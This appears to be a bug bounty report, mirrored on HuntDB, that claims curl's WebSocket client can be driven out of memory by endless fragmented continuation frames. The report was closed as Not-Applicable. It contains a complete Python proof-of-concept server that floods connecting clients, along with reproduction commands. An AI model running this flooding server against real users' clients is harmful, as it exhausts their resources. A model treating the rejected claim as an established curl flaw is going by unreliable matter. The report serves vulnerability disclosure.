Loading HuntDB...

WebSocket Fragmentation DoS on Curl Client

High
C
curl
Submitted None
Reported by pelioro

Vulnerability Details

Technical details and impact analysis

Uncontrolled Resource Consumption
### Summary A malicious WebSocket server can send a fragmented message (FIN=0) followed by a flood of continuation frames, causing the client (curl) to continuously allocate memory while waiting for message completion. This can result in high memory usage and potential crash (OOM), representing a Denial-of-Service vulnerability. --- ### Description The vulnerability occurs because curl does not limit the number of continuation frames for an unfinished WebSocket message. An attacker controlling a WebSocket server can send: 1. Initial text frame with `FIN=0` (indicating message continuation). 2. An unbounded number of continuation frames (`opcode=0`, `FIN=0`). This causes curl to continuously buffer incoming data until memory is exhausted. The script `ws_frag_poc.py` demonstrates the behavior. --- ### Steps to Reproduce 1. Save the following PoC script as `ws_frag_poc.py`: ```python #!/usr/bin/env python3 # ws_frag_poc.py - DoS PoC for WebSocket fragmentation import socket, base64, hashlib, threading HOST, PORT = "0.0.0.0", 8765 def make_handshake_response(key): GUID = b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11" accept = base64.b64encode(hashlib.sha1(key + GUID).digest()).decode() return ( "HTTP/1.1 101 Switching Protocols\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" f"Sec-WebSocket-Accept: {accept}\r\n\r\n" ).encode() def make_frame(fin, opcode, payload): first = (0x80 if fin else 0x00) | (opcode & 0x0f) plen = len(payload) header = bytes([first]) if plen <= 125: header += bytes([plen]) elif plen < 65536: header += bytes([126]) + plen.to_bytes(2, 'big') else: header += bytes([127]) + plen.to_bytes(8, 'big') return header + payload def handle_client(conn, addr): data = conn.recv(4096) key = next((l.split(b":",1)[1].strip() for l in data.split(b"\r\n") if l.lower().startswith(b"sec-websocket-key:")), None) if not key: return conn.close() conn.sendall(make_handshake_response(key)) conn.sendall(make_frame(fin=False, opcode=1, payload=b"X"*4)) frag_payload = b"A"*32 while True: conn.sendall(make_frame(fin=False, opcode=0, payload=frag_payload)) def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(5) while True: conn, addr = s.accept() threading.Thread(target=handle_client, args=(conn, addr), daemon=True).start() if __name__ == "__main__": main() ``` 2. Run the PoC: ```bash python3 ws_frag_poc.py ``` 3. In another terminal, connect using curl: ```bash curl --include --no-buffer --output /dev/null ws://127.0.0.1:8765 ``` 4. Monitor memory usage: ```bash ps -o pid,rss,cmd -p <curl_pid> top -p <curl_pid> ps aux | grep curl ``` --- ### Expected Result Curl should handle fragmented messages without unbounded memory growth. ### Actual Result Memory usage grows continuously, CPU spikes, process may hang or crash (OOM). --- ### Mitigation / Recommendation - Implement limits on the number of continuation frames for unfinished WebSocket messages. - Consider maximum message size or memory allocation threshold to prevent client-side DoS. - Add proper validation of FIN/fragmented frames in the WebSocket implementation. --- ### References - [RFC 6455 - The WebSocket Protocol](https://datatracker.ietf.org/doc/html/rfc6455) - CWE-400: Uncontrolled Resource Consumption ## Impact - High memory consumption on the client. - Potential crash or process termination (OOM) in curl. - Can be triggered remotely if the client connects to a malicious WebSocket server.

Report Details

Additional information and metadata

State

Closed

Substate

Not-Applicable

Submitted

Weakness

Uncontrolled Resource Consumption